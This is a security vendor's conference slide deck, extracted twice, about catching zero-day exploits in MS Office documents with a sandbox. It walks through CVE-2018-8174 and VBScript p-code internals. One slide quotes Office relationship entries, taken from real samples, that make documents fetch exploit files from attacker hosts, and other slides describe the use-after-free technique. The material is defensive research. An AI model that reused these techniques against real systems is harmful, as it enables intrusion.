Boris Larin
Vladislav Stolyarov
Catching multilayered zero-day attacks
on MS Office
$whoweare
Malware Analyst (Heuristic Detection and Vulnerability Research Team)
Boris Larin
Malware Analyst (Heuristic Detection and Vulnerability Research Team)
Vlad Stolyarov
Twitter: @oct0xor
Twitter: @vladhiewsha
1. Introduction to the MS Office threat landscape
2. Introduction to sandbox
3. Using sandbox to find MS Office zero-days
4. The story of CVE-2018-8174 (zero-day found with sandbox)
5. Internals of VBScript
Talk Outline
4
Adobe Flash
13%
Office
16%Android
19%
Browsers
45%
PDF
1%
Java
6%
2016 Q4
Targeted platforms by attacked users
Adobe Flash
1%
Office
70%
Android
12%
Browsers
14%
PDF
0%
Java
3%
2018 Q4
5
CVE-2017-8759 CVE-2017-11826
CVE-2017-11882 CVE-2018-8174
20182017
5% 90% 5%
CVE-2018-0802
CVE-2017-8570CVE-2017-0199
CVE-2014-6352
CVE-2014-4114
CVE-2012-1856
CVE-2015-1641
CVE-2017-0262CVE-2016-7193
90% 10%
2018
2016
CVE-2017-11292 CVE-2018-5002CVE-2016-7193
CVE-2016-4117
The life cycle of an Office exploit has shortened substantially. So has the entry bar:
β€” In 2016, the most exploited vulnerabilities were two to four years old. They were also complex
memory corruptions that required a high entry bar to exploit (Mscomctl and EPS vulnerabilities).
β€” In 2018, the bar has lowered significantly and even a non-skilled person can create an exploit
builder using PoCs from public resources (Moniker and Equation bugs). Sometimes the only thing that
needs to be modified is the command line to be executed as payload.
CVE-2018-4878
Timeline
CVE-2017-0261CVE-2012-0158
6
Arsenal
Most exploited Office vulnerabilities today
Logical bugs are a thing:
β€” As seen with three of the most popular
CVEs: CVE-2017-0199, CVE-2017-8570
and CVE-2017-8759, even logical bugs
can lead to Remote Command Execution
Binary exploitation is possible on latest Office
versions:
β€” Code execution can be achieved even in
a no-scriptable environment for several type
of memory corruption bugs.
β€” They can be just as reliable as logical
ones – CVE-2017-11882 and CVE-2018-
0802 is a great example. Exploit for them
worked on all Microsoft Office versions
released in the past 17 years
CVE-2017-8759
SOAP WSDL parser code injection vulnerability. The bug itself is in .NET
framework, but can be triggered from document using SOAP moniker. Found
exploited ITW
CVE-2017-8570
β€œBypass” of CVE-2017-0199 fix with the
use of composite moniker
CVE-2017-0199 Logical bug - scripts pointed to by URL moniker can be
interpreted as HTA content without any restrictions
Classical stack buffer overflow in legacy
Microsoft Equation Editor componentCVE-2017-11882
Two different bugs in Equation Editor
under the same CVE id. Discovered one
month after CVE-2017-11882 patch
CVE-2018-0802
7
Arsenal
Most exploited Office vulnerabilities today
Logical bugs are a thing:
β€” As seen with three of the most popular
CVEs: CVE-2017-0199, CVE-2017-8570
and CVE-2017-8759, even logical bugs
can lead to Remote Command Execution
Binary exploitation is possible on latest Office
versions:
β€” Code execution can be achieved even in
a no-scriptable environment for several type
of memory corruption bugs.
β€” They can be just as reliable as logical
ones – CVE-2017-11882 and CVE-2018-
0802 is a great example. Exploit for them
worked on all Microsoft Office versions
released in the past 17 years
All of these vulnerabilities aren’t in
the Office itself.
CVE-2017-8759
SOAP WSDL parser code injection vulnerability. The bug itself is in .NET
framework, but can be triggered from document using SOAP moniker. Found
exploited ITW
CVE-2017-8570
β€œBypass” of CVE-2017-0199 fix with the
use of composite moniker
CVE-2017-0199 Logical bug - scripts pointed to by URL moniker can be
interpreted as HTA content without any restrictions
Classical stack buffer overflow in legacy
Microsoft Equation Editor componentCVE-2017-11882
Two different bugs in Equation Editor
under the same CVE id. Discovered one
month after CVE-2017-11882 patch
CVE-2018-0802
Attack surface is huge!
Bad decisions from a security point of view
Complicated file formats
Deep integration with MS Windows
Interoperability
Legacy features
Obscure features – Exploitation primitives
Attackers can gather their own statistics
AV evasion / prevent zero-day from burning
Obscure features – Exploitation primitives
β€œAdded additional exploit mode, that allows with the use of β€œMWISTAT” statistics web-server log when and
at what time the document was opened, was the payload downloaded, which IP-address was used, as well
as some other information, such as User-Agent.”
Attackers can gather their own statistics
Cybercriminals:
exploit.rtf
Obscure features – Exploitation primitives
1. Deploy decoy document
2. MS Office will automatically download and launch document with real exploit from remote storage
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"
Target="https://a.pomf.cat/hlxqom.doc" TargetMode="External" />
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
Target="http://kajlaraykaj.com/file/mine001.doc" TargetMode="External" />
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/frame"
Target="http://jugnitv.com/final.jpg" TargetMode="External" />
AV Evasion / Prevent Zero-day from burning
exploit_1.docxword_relsdocument.xml.rels
exploit_2.docxword_relssettings.xml.rels
exploit_3.docxword_relswebSettings.xml.rels
12
Caught in the wild…
β€’ CVE-2018-8174 (Windows VBScript Engine Remote Code
Execution Vulnerability)
β€’ CVE-2018-8453 (Win32k Elevation of Privilege Vulnerability)
β€’ CVE-2018-8589 (Win32k Elevation of Privilege Vulnerability)
In 2018 alone:
All vulnerabilities were reported to Microsoft
The sandbox
Artifacts assembled
for analysis
A file / URL for testing
- Execution logs
- Memory dumps
- System / registry changes
- Network connections
- Screenshots
- Exploit artifacts
Verdict and rich data on activity
Test VMs
The file / URL is sent to several test VMs
Artifacts logged
75 high-performance servers
2500 vCPUs
2000 virtual machines are running at any given time
Up to four million objects per day are processed by the service at peak times
Some facts
Design
Guest OS
User Mode
Kernel Mode
Process 1 Process 2
Kernel Drivers
Syscall Filter
API Logger
Network
Threads
Registry
Files
Artifacts
API log
[0XXX] >> ShellExecuteExW ("[HIDDEN_DIR]e15b36c2e394d599a8ab352159089dd2.doc")
<PROCESS_CREATE_SUCCESS Pid="0xXXX" ParentPid="0xXXX" CreatedPid="0xYYY" />
<PROC_LOG_START Pid="0xYYY" RequestorPid="0xXXX" Reason="OnCreateChild">
<ImagePath>DeviceHarddiskVolumeZProgram Files (x86)Microsoft OfficeOffice14WINWORD.EXE</ImagePath>
<CmdLine></CmdLine></PROC_LOG_START>
<LOAD_IMAGE Pid="0xYYY" ImageBase="0x30000000" ImageSize="0x15d000">
<ImagePath>DeviceHarddiskVolumeZProgram Files (x86)Microsoft
OfficeOffice14WINWORD.EXE</ImagePath></LOAD_IMAGE>
<LOAD_IMAGE Pid="0xYYY" ImageBase="0x78e50000" ImageSize="0x1a9000">
<ImagePath>SystemRootSystem32ntdll.dll</ImagePath></LOAD_IMAGE>
<LOAD_IMAGE Pid="0xYYY" ImageBase="0x7de70000" ImageSize="0x180000">
<ImagePath>SystemRootSysWOW64ntdll.dll</ImagePath></LOAD_IMAGE>
[0YYY] >> SetWindowTextW (0000000000050018,00000000001875BC -> "e15b36c2e394d599a8ab352159089dd2.doc
[Compatibility Mode] β€” Microsoft Word") => 00000000390A056C {0000}
<FILE_CREATED Pid="0xYYY">
Exploit Checker
Detection of exploits in scope of application and system wide
β€” Exploited exceptions:
β€” DEP violation
β€” Heap corruption
β€” Illegal/privileged instruction
β€” Others
β€” Stack execution
β€” EoP detection
β€” Predetection of Heap Spray
β€” Execution of user space code in Ring 0
β€” Change of process token
β€” Others
Sandbox has support for plugins. One of the plugins is Exploit Checker.
Exploit Checker > API log
[…]
UserSpaceSupervisorCPL(β€œVA:0000000001FC29C0”,allocbase=0000000001FC0000,base
=0000000001FC2000,size=4096(0x1000),dumpBase=0000000001FC2000,dumpid=0xD)
SecurityTokenChanged()
[…]
Looking for zero-days
Signature-based protection
Cloud-based protection
Heuristic scanning
HIPS and personal firewall
Automatic exploit prevention
System watcher
Kaspersky security products for endpoints has very advanced heuristic capabilities in the detection of threats
delivered through MS Office documents
Heuristic engine is aware of all file formats and
obfuscations for documents
Looking for zero-days
Signature-based protection
Cloud-based protection
Heuristic scanning
HIPS and personal firewall
Automatic exploit prevention
System Watcher
Kaspersky security products for endpoints has very advanced heuristic capabilities in the detection of threats
delivered through MS Office documents
Heuristic engine is aware of all file formats and
obfuscations for documents
Looking for zero-days
Process file
In case of exploits this is a very rare occurrence: high chance of a zero-day
HEURISTIC SCANNING
Clean
SANDBOX
Malicious
Looking for zero-days
Process file
File is recognized as malicious by heuristic scanning and sandbox
Can it be a zero-day?
HEURISTIC SCANNING
Malicious
SANDBOX
Malicious
Looking for zero-days
Process file
File is recognized as malicious by heuristic scanning and sandbox.
Can it be a zero-day?
HEURISTIC SCANNING
Malicious
SANDBOX
Malicious
YES. It happens often.
Looking for zero-days
bucket
More generic detection logic
versus
Less generic detection logic
Statistic
Clustering
Clustering
Interesting samples
Interesting samples
CVE-2018-8174
(VirusTotal at 2018-04-18 06:50:30)
Found in late April 2018
Was detected by our products prior to us finding it
We would not have been able to find it if only samples that do
not have detection were processed in the sandbox
CVE-2018-8174
Exploit is found in MS Office document
But the vulnerability is in Internet Explorer
This particular vulnerability and subsequent exploit are interesting for many reasons
28
CVE-2018-8174 – Exploit
decodes to
29
CVE-2018-8174 – Exploit
30
CVE-2018-8174 – Exploit
Is it CVE-2017-0199?
31
CVE-2017-0199 Strikes Back
Response page is handled
with mshtml.dll InProc COM
Server, not mshta.exe.
Content type in HTTP response
header is β€˜text/html’, and not
β€˜application/hta’.
Well, not really
32
Enter CVE-2018-8174
β€” Initial RTF document contains single embedded OLE
object with a URL Moniker, that downloads a page from
provided link.
β€” Now a COM object needs to be selected to handle the
content.
β€” Handler is selected based on extension, Content-Type and some
other parameters.
β€” Content-Type is β€˜text/html’, which results in page being
handled by mshtml.dll - library that contains the engine
behind Internet Explorer.
β€” A browser exploit is still required, because with MSHTML
the scripts that are running in a restricted mode by default.
β€” That was not true with CVE-2017-0199 – MSHTA handler is known
to be a dangerous component that would run any VBJS scripts found
in file unrestricted.
33
Enter CVE-2018-8174
Restricted COM objects
from IActivationFilter in
MSO.dll
34
Enter CVE-2018-8174
Restricted COM objects
from IActivationFilter in
MSO.dllBut not mshtml.HTMLDocument. (At least not yet).
VBScript Object Lifetime
35
Object Lifetime: How Objects Are Created and
Destroyed (Visual Basic)
After an object leaves scope, it is released by the common language
runtime (CLR). Visual Basic controls the release of system resources
using procedures called destructors. Together, constructors and
destructors support the creation of robust and predictable class
libraries.
Constructors and destructors control the creation and destruction of
objects. The Sub New and Sub Finalize procedures in Visual Basic
initialize and destroy objects; they replace the Class_Initialize and
Class_Terminate methods used in Visual Basic 6.0 and earlier
versions.
https://docs.microsoft.com/en-us/dotnet/visual-basic/programming-guide/language-
features/objects-and-classes/object-lifetime-how-objects-are-created-and-destroyed
Object Lifetime: How Objects Are Created and
Destroyed (Visual Basic)
After an object leaves scope, it is released by the common language
runtime (CLR). Visual Basic controls the release of system resources
using procedures called destructors. Together, constructors and
destructors support the creation of robust and predictable class
libraries.
Constructors and destructors control the creation and destruction of
objects. The Sub New and Sub Finalize procedures in Visual Basic
initialize and destroy objects; they replace the Class_Initialize and
Class_Terminate methods used in Visual Basic 6.0 and earlier
versions.
VBScript Object Lifetime
36
https://docs.microsoft.com/en-us/dotnet/visual-basic/programming-guide/language-
features/objects-and-classes/object-lifetime-how-objects-are-created-and-destroyed
CVE-2018-8174 – Use After Free
37
Object of ClassTerminateA is created and
then instantly erased.
Since reference counter is now zero this calls
VBScript::Release for object to be freed by
GC.
While object is being freed an overridden
Class_Terminate is called.
We store dangling reference to deleted object
in ArrWithUafA array.
To balance out increased reference counter
ArrWithFreedObject(1) is assigned to some
other value.
class1FreedObject is created after the loop. It
will be allocated in the same memory that was
used for ClassTerminateA objects.
CVE-2018-8174 – Use After Free
38
CVE-2018-8174 – Exploit
39
But this time it is used to allocate object of
type Class2Reused
This leads to us having 2 references – class1FreedObject and class2ReusedObject
that point to same memory address and are instances of different Classes.
The same procedure from before repeats
to decrease reference counter 7 times and
trigger Class_Terminate destructor again.
CVE-2018-8174 – Exploit
This leads to us having 2 references – class1FreedObject and class2ReusedObject
that point to same memory address and are instances of different Classes.
Class1 Class2
CVE-2018-8174 – Exploit
+0
+0x34
+0x74
+0
+0x48
+0x80
VVAL β€˜P’
VVAL β€˜P0123456789’
size: 0x32 + len(β€˜P’) = 0x34
size: 0x32 + len(β€˜P0123456789’) = 0x48
VVAL β€˜SetProp’
size: 0x32 + len(β€˜SetProp’) = 0x40
VVAL β€˜mem’
size: 0x32 + len(β€˜mem’) = 0x38
VVAL β€˜SPP’
size: 0x32 + len(β€˜SPP’) = 0x38
VVAL β€˜mem’
size: 0x32 + len(β€˜mem’) = 0x38
Class1 variables Class2 variables
+0x74
+0x80
05 00 00 00 00 00 00 00 00 00 00 00 0C 20 00 00
08 00 00 00 00 00 00 00 A D D R 00 00 00 00Class1.mem Type
Overwritten Class2.mem Type Class2.mem Data
Class1.mem Data
VBScript interpreter
Interpreter is closed source
Implemented in vbscript.dll module
VBScript is compiled into p-code that then is interpreted
P-code is undocumented
VBScript interpreter
43
β€’ IE developer tools
β€’ Supports VBScript debugging
β€’ Visual studio
β€’ Possible to debug VBScript with wscript
β€’ wscript //D //X test.vbs
β€’ Not intended to debug exploits
β€’ Missing all crucial information to analyse
vulnerabilities
VBScript debugging
VBScript debugging: how-to
Instrument script with calls to some uncommon function (e.g. CStr() )
Set breakpoint at this function in native debugger
VBScript’s p-code interpreter
interpreter
112 cases (111 p-code instructions)
int __thiscall CScriptRuntime::RunNoEH(CScriptRuntime *this, struct VAR *)
VBScript’s p-code != Visual Basic’s p-code
http://web.archive.org/web/20101127044116/http://vb-decompiler.com/pcode/opcodes.php?t=1
1159 instructions in Visual Basic VS 111 instructions in VBScript
Format of instructions is different
Visual Basic’s opcodes
VBScript instructions
Googling β€œVBScript” shows that there is no prior research on a subject
However, it was possible to find two posts by Microsoft employees
2004 - https://blogs.msdn.microsoft.com/ericlippert/2004/04/19/runtime-typing-in-vbscript/
1999 - https://groups.google.com/forum/#!topic/microsoft.public.inetserver.asp.general/xlCz5paTWxM
VBScript instructions
Googling β€œVBScript” shows that there is no prior research on a subject
However, it was possible to find 2 post of Microsoft employees
2004 - https://blogs.msdn.microsoft.com/ericlippert/2004/04/19/runtime-typing-in-vbscript/
1999 - https://groups.google.com/forum/#!topic/microsoft.public.inetserver.asp.general/xlCz5paTWxM
2004
VBScript instructions
Googling β€œVBScript” shows that there is no prior research on a subject
However, it was possible to find 2 post of Microsoft employees
2004 - https://blogs.msdn.microsoft.com/ericlippert/2004/04/19/runtime-typing-in-vbscript/
1999 - https://groups.google.com/forum/#!topic/microsoft.public.inetserver.asp.general/xlCz5paTWxM
2004
1999
Decoding VBScript instructions
Now we know 18 out of 111 instructions!
1999
OP_FnBind 0x55 OP_LocalAdr 0x19
OP_Bos1 0x03 OP_FixType 0x54
OP_NamedAdr 0x1D OP_EQ 0x42
OP_IntConst 0x0B OP_BitOr 0x3E
OP_CallNmdAdr 0x28 OP_JccFalse 0x3C
OP_CallMemVoid 0x31 OP_LocalSt 0x1A
OP_Bos0 0x02 OP_Jmp 0x3A
OP_FuncEnd 0x01 OP_Sub 0x49
OP_FnReturn 0x57 OP_Add 0x48
Family
Visual Basic
Visual Basic for Applications (VBA) Visual Basic Scripting Edition (VBScript)
eMbedded Visual Basic (eVB)
eMbedded Visual Basic (eVB)
Windows CE
Windows Mobile
Based on VBScript
IMG: https://www.amazon.com/ViewSonic-V35-Pocket-PC-Handheld/dp/B00006RSK5
eMbedded Visual Basic (eVB)
Download and unpack eMbedded Visual Basic (eVB) Runtime .cab
Biggest file is 00pvbvbs.022
Lets load it in IDA Pro
eMbedded Visual Basic (eVB)
It’s a debug build!
VBScript opcodes
VBScript opcodes
101 instruction in eVB against 111 in VBScript
Mapping of eVB instructions to VBScript instructions
eVB VBScript
New instructions
VBScript p-code disassembly
β€’ Microsoft Office is a hot target for attackers and will remain so
β€’ Attackers aim for the easiest targets and legacy features will be abused
β€’ A sandbox is effective in the detection of zero-days (proven with a long list of CVE’s)
Highlights about our sandbox:
β€’ https://securelist.com/a-modern-hypervisor-as-a-basis-for-a-sandbox/81902/
β€’ https://www.kaspersky.com/enterprise-security/wiki-section/products/sandbox
β€’ There is the possibility of more VBScript vulnerabilities exploited through Microsoft Office
β€’ VBScript controls are blocked by default in Office 365
β€’ We shared our tools with the community to make the debugging of VBScript exploits easier
Conclusions
Source code
https://github.com/KasperskyLab/VBscriptInternals
VBScript p-code disassemblers for WinDBG and IDA Pro
LET’S TALK?
Boris Larin @oct0xor
Vlad Stolyarov @vladhiewsha

Catching Multilayered Zero-Day Attacks on MS Office

  • 1.
    Boris Larin Vladislav Stolyarov Catchingmultilayered zero-day attacks on MS Office
  • 2.
    $whoweare Malware Analyst (HeuristicDetection and Vulnerability Research Team) Boris Larin Malware Analyst (Heuristic Detection and Vulnerability Research Team) Vlad Stolyarov Twitter: @oct0xor Twitter: @vladhiewsha
  • 3.
    1. Introduction tothe MS Office threat landscape 2. Introduction to sandbox 3. Using sandbox to find MS Office zero-days 4. The story of CVE-2018-8174 (zero-day found with sandbox) 5. Internals of VBScript Talk Outline
  • 4.
    4 Adobe Flash 13% Office 16%Android 19% Browsers 45% PDF 1% Java 6% 2016 Q4 Targetedplatforms by attacked users Adobe Flash 1% Office 70% Android 12% Browsers 14% PDF 0% Java 3% 2018 Q4
  • 5.
    5 CVE-2017-8759 CVE-2017-11826 CVE-2017-11882 CVE-2018-8174 20182017 5%90% 5% CVE-2018-0802 CVE-2017-8570CVE-2017-0199 CVE-2014-6352 CVE-2014-4114 CVE-2012-1856 CVE-2015-1641 CVE-2017-0262CVE-2016-7193 90% 10% 2018 2016 CVE-2017-11292 CVE-2018-5002CVE-2016-7193 CVE-2016-4117 The life cycle of an Office exploit has shortened substantially. So has the entry bar: β€” In 2016, the most exploited vulnerabilities were two to four years old. They were also complex memory corruptions that required a high entry bar to exploit (Mscomctl and EPS vulnerabilities). β€” In 2018, the bar has lowered significantly and even a non-skilled person can create an exploit builder using PoCs from public resources (Moniker and Equation bugs). Sometimes the only thing that needs to be modified is the command line to be executed as payload. CVE-2018-4878 Timeline CVE-2017-0261CVE-2012-0158
  • 6.
    6 Arsenal Most exploited Officevulnerabilities today Logical bugs are a thing: β€” As seen with three of the most popular CVEs: CVE-2017-0199, CVE-2017-8570 and CVE-2017-8759, even logical bugs can lead to Remote Command Execution Binary exploitation is possible on latest Office versions: β€” Code execution can be achieved even in a no-scriptable environment for several type of memory corruption bugs. β€” They can be just as reliable as logical ones – CVE-2017-11882 and CVE-2018- 0802 is a great example. Exploit for them worked on all Microsoft Office versions released in the past 17 years CVE-2017-8759 SOAP WSDL parser code injection vulnerability. The bug itself is in .NET framework, but can be triggered from document using SOAP moniker. Found exploited ITW CVE-2017-8570 β€œBypass” of CVE-2017-0199 fix with the use of composite moniker CVE-2017-0199 Logical bug - scripts pointed to by URL moniker can be interpreted as HTA content without any restrictions Classical stack buffer overflow in legacy Microsoft Equation Editor componentCVE-2017-11882 Two different bugs in Equation Editor under the same CVE id. Discovered one month after CVE-2017-11882 patch CVE-2018-0802
  • 7.
    7 Arsenal Most exploited Officevulnerabilities today Logical bugs are a thing: β€” As seen with three of the most popular CVEs: CVE-2017-0199, CVE-2017-8570 and CVE-2017-8759, even logical bugs can lead to Remote Command Execution Binary exploitation is possible on latest Office versions: β€” Code execution can be achieved even in a no-scriptable environment for several type of memory corruption bugs. β€” They can be just as reliable as logical ones – CVE-2017-11882 and CVE-2018- 0802 is a great example. Exploit for them worked on all Microsoft Office versions released in the past 17 years All of these vulnerabilities aren’t in the Office itself. CVE-2017-8759 SOAP WSDL parser code injection vulnerability. The bug itself is in .NET framework, but can be triggered from document using SOAP moniker. Found exploited ITW CVE-2017-8570 β€œBypass” of CVE-2017-0199 fix with the use of composite moniker CVE-2017-0199 Logical bug - scripts pointed to by URL moniker can be interpreted as HTA content without any restrictions Classical stack buffer overflow in legacy Microsoft Equation Editor componentCVE-2017-11882 Two different bugs in Equation Editor under the same CVE id. Discovered one month after CVE-2017-11882 patch CVE-2018-0802
  • 8.
    Attack surface ishuge! Bad decisions from a security point of view Complicated file formats Deep integration with MS Windows Interoperability Legacy features
  • 9.
    Obscure features –Exploitation primitives Attackers can gather their own statistics AV evasion / prevent zero-day from burning
  • 10.
    Obscure features –Exploitation primitives β€œAdded additional exploit mode, that allows with the use of β€œMWISTAT” statistics web-server log when and at what time the document was opened, was the payload downloaded, which IP-address was used, as well as some other information, such as User-Agent.” Attackers can gather their own statistics Cybercriminals: exploit.rtf
  • 11.
    Obscure features –Exploitation primitives 1. Deploy decoy document 2. MS Office will automatically download and launch document with real exploit from remote storage <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="https://a.pomf.cat/hlxqom.doc" TargetMode="External" /> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="http://kajlaraykaj.com/file/mine001.doc" TargetMode="External" /> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/frame" Target="http://jugnitv.com/final.jpg" TargetMode="External" /> AV Evasion / Prevent Zero-day from burning exploit_1.docxword_relsdocument.xml.rels exploit_2.docxword_relssettings.xml.rels exploit_3.docxword_relswebSettings.xml.rels
  • 12.
    12 Caught in thewild… β€’ CVE-2018-8174 (Windows VBScript Engine Remote Code Execution Vulnerability) β€’ CVE-2018-8453 (Win32k Elevation of Privilege Vulnerability) β€’ CVE-2018-8589 (Win32k Elevation of Privilege Vulnerability) In 2018 alone: All vulnerabilities were reported to Microsoft
  • 13.
    The sandbox Artifacts assembled foranalysis A file / URL for testing - Execution logs - Memory dumps - System / registry changes - Network connections - Screenshots - Exploit artifacts Verdict and rich data on activity Test VMs The file / URL is sent to several test VMs Artifacts logged
  • 14.
    75 high-performance servers 2500vCPUs 2000 virtual machines are running at any given time Up to four million objects per day are processed by the service at peak times Some facts
  • 15.
    Design Guest OS User Mode KernelMode Process 1 Process 2 Kernel Drivers Syscall Filter API Logger Network Threads Registry Files Artifacts
  • 16.
    API log [0XXX] >>ShellExecuteExW ("[HIDDEN_DIR]e15b36c2e394d599a8ab352159089dd2.doc") <PROCESS_CREATE_SUCCESS Pid="0xXXX" ParentPid="0xXXX" CreatedPid="0xYYY" /> <PROC_LOG_START Pid="0xYYY" RequestorPid="0xXXX" Reason="OnCreateChild"> <ImagePath>DeviceHarddiskVolumeZProgram Files (x86)Microsoft OfficeOffice14WINWORD.EXE</ImagePath> <CmdLine></CmdLine></PROC_LOG_START> <LOAD_IMAGE Pid="0xYYY" ImageBase="0x30000000" ImageSize="0x15d000"> <ImagePath>DeviceHarddiskVolumeZProgram Files (x86)Microsoft OfficeOffice14WINWORD.EXE</ImagePath></LOAD_IMAGE> <LOAD_IMAGE Pid="0xYYY" ImageBase="0x78e50000" ImageSize="0x1a9000"> <ImagePath>SystemRootSystem32ntdll.dll</ImagePath></LOAD_IMAGE> <LOAD_IMAGE Pid="0xYYY" ImageBase="0x7de70000" ImageSize="0x180000"> <ImagePath>SystemRootSysWOW64ntdll.dll</ImagePath></LOAD_IMAGE> [0YYY] >> SetWindowTextW (0000000000050018,00000000001875BC -> "e15b36c2e394d599a8ab352159089dd2.doc [Compatibility Mode] β€” Microsoft Word") => 00000000390A056C {0000} <FILE_CREATED Pid="0xYYY">
  • 17.
    Exploit Checker Detection ofexploits in scope of application and system wide β€” Exploited exceptions: β€” DEP violation β€” Heap corruption β€” Illegal/privileged instruction β€” Others β€” Stack execution β€” EoP detection β€” Predetection of Heap Spray β€” Execution of user space code in Ring 0 β€” Change of process token β€” Others Sandbox has support for plugins. One of the plugins is Exploit Checker.
  • 18.
    Exploit Checker >API log […] UserSpaceSupervisorCPL(β€œVA:0000000001FC29C0”,allocbase=0000000001FC0000,base =0000000001FC2000,size=4096(0x1000),dumpBase=0000000001FC2000,dumpid=0xD) SecurityTokenChanged() […]
  • 19.
    Looking for zero-days Signature-basedprotection Cloud-based protection Heuristic scanning HIPS and personal firewall Automatic exploit prevention System watcher Kaspersky security products for endpoints has very advanced heuristic capabilities in the detection of threats delivered through MS Office documents Heuristic engine is aware of all file formats and obfuscations for documents
  • 20.
    Looking for zero-days Signature-basedprotection Cloud-based protection Heuristic scanning HIPS and personal firewall Automatic exploit prevention System Watcher Kaspersky security products for endpoints has very advanced heuristic capabilities in the detection of threats delivered through MS Office documents Heuristic engine is aware of all file formats and obfuscations for documents
  • 21.
    Looking for zero-days Processfile In case of exploits this is a very rare occurrence: high chance of a zero-day HEURISTIC SCANNING Clean SANDBOX Malicious
  • 22.
    Looking for zero-days Processfile File is recognized as malicious by heuristic scanning and sandbox Can it be a zero-day? HEURISTIC SCANNING Malicious SANDBOX Malicious
  • 23.
    Looking for zero-days Processfile File is recognized as malicious by heuristic scanning and sandbox. Can it be a zero-day? HEURISTIC SCANNING Malicious SANDBOX Malicious YES. It happens often.
  • 24.
    Looking for zero-days bucket Moregeneric detection logic versus Less generic detection logic Statistic Clustering
  • 25.
  • 26.
    CVE-2018-8174 (VirusTotal at 2018-04-1806:50:30) Found in late April 2018 Was detected by our products prior to us finding it We would not have been able to find it if only samples that do not have detection were processed in the sandbox
  • 27.
    CVE-2018-8174 Exploit is foundin MS Office document But the vulnerability is in Internet Explorer This particular vulnerability and subsequent exploit are interesting for many reasons
  • 28.
  • 29.
  • 30.
  • 31.
    31 CVE-2017-0199 Strikes Back Responsepage is handled with mshtml.dll InProc COM Server, not mshta.exe. Content type in HTTP response header is β€˜text/html’, and not β€˜application/hta’. Well, not really
  • 32.
    32 Enter CVE-2018-8174 β€” InitialRTF document contains single embedded OLE object with a URL Moniker, that downloads a page from provided link. β€” Now a COM object needs to be selected to handle the content. β€” Handler is selected based on extension, Content-Type and some other parameters. β€” Content-Type is β€˜text/html’, which results in page being handled by mshtml.dll - library that contains the engine behind Internet Explorer. β€” A browser exploit is still required, because with MSHTML the scripts that are running in a restricted mode by default. β€” That was not true with CVE-2017-0199 – MSHTA handler is known to be a dangerous component that would run any VBJS scripts found in file unrestricted.
  • 33.
    33 Enter CVE-2018-8174 Restricted COMobjects from IActivationFilter in MSO.dll
  • 34.
    34 Enter CVE-2018-8174 Restricted COMobjects from IActivationFilter in MSO.dllBut not mshtml.HTMLDocument. (At least not yet).
  • 35.
    VBScript Object Lifetime 35 ObjectLifetime: How Objects Are Created and Destroyed (Visual Basic) After an object leaves scope, it is released by the common language runtime (CLR). Visual Basic controls the release of system resources using procedures called destructors. Together, constructors and destructors support the creation of robust and predictable class libraries. Constructors and destructors control the creation and destruction of objects. The Sub New and Sub Finalize procedures in Visual Basic initialize and destroy objects; they replace the Class_Initialize and Class_Terminate methods used in Visual Basic 6.0 and earlier versions. https://docs.microsoft.com/en-us/dotnet/visual-basic/programming-guide/language- features/objects-and-classes/object-lifetime-how-objects-are-created-and-destroyed
  • 36.
    Object Lifetime: HowObjects Are Created and Destroyed (Visual Basic) After an object leaves scope, it is released by the common language runtime (CLR). Visual Basic controls the release of system resources using procedures called destructors. Together, constructors and destructors support the creation of robust and predictable class libraries. Constructors and destructors control the creation and destruction of objects. The Sub New and Sub Finalize procedures in Visual Basic initialize and destroy objects; they replace the Class_Initialize and Class_Terminate methods used in Visual Basic 6.0 and earlier versions. VBScript Object Lifetime 36 https://docs.microsoft.com/en-us/dotnet/visual-basic/programming-guide/language- features/objects-and-classes/object-lifetime-how-objects-are-created-and-destroyed
  • 37.
    CVE-2018-8174 – UseAfter Free 37 Object of ClassTerminateA is created and then instantly erased. Since reference counter is now zero this calls VBScript::Release for object to be freed by GC. While object is being freed an overridden Class_Terminate is called. We store dangling reference to deleted object in ArrWithUafA array. To balance out increased reference counter ArrWithFreedObject(1) is assigned to some other value. class1FreedObject is created after the loop. It will be allocated in the same memory that was used for ClassTerminateA objects.
  • 38.
  • 39.
    CVE-2018-8174 – Exploit 39 Butthis time it is used to allocate object of type Class2Reused This leads to us having 2 references – class1FreedObject and class2ReusedObject that point to same memory address and are instances of different Classes. The same procedure from before repeats to decrease reference counter 7 times and trigger Class_Terminate destructor again.
  • 40.
    CVE-2018-8174 – Exploit Thisleads to us having 2 references – class1FreedObject and class2ReusedObject that point to same memory address and are instances of different Classes. Class1 Class2
  • 41.
    CVE-2018-8174 – Exploit +0 +0x34 +0x74 +0 +0x48 +0x80 VVALβ€˜P’ VVAL β€˜P0123456789’ size: 0x32 + len(β€˜P’) = 0x34 size: 0x32 + len(β€˜P0123456789’) = 0x48 VVAL β€˜SetProp’ size: 0x32 + len(β€˜SetProp’) = 0x40 VVAL β€˜mem’ size: 0x32 + len(β€˜mem’) = 0x38 VVAL β€˜SPP’ size: 0x32 + len(β€˜SPP’) = 0x38 VVAL β€˜mem’ size: 0x32 + len(β€˜mem’) = 0x38 Class1 variables Class2 variables +0x74 +0x80 05 00 00 00 00 00 00 00 00 00 00 00 0C 20 00 00 08 00 00 00 00 00 00 00 A D D R 00 00 00 00Class1.mem Type Overwritten Class2.mem Type Class2.mem Data Class1.mem Data
  • 42.
    VBScript interpreter Interpreter isclosed source Implemented in vbscript.dll module VBScript is compiled into p-code that then is interpreted P-code is undocumented VBScript interpreter
  • 43.
    43 β€’ IE developertools β€’ Supports VBScript debugging β€’ Visual studio β€’ Possible to debug VBScript with wscript β€’ wscript //D //X test.vbs β€’ Not intended to debug exploits β€’ Missing all crucial information to analyse vulnerabilities VBScript debugging
  • 44.
    VBScript debugging: how-to Instrumentscript with calls to some uncommon function (e.g. CStr() ) Set breakpoint at this function in native debugger
  • 45.
    VBScript’s p-code interpreter interpreter 112cases (111 p-code instructions) int __thiscall CScriptRuntime::RunNoEH(CScriptRuntime *this, struct VAR *)
  • 46.
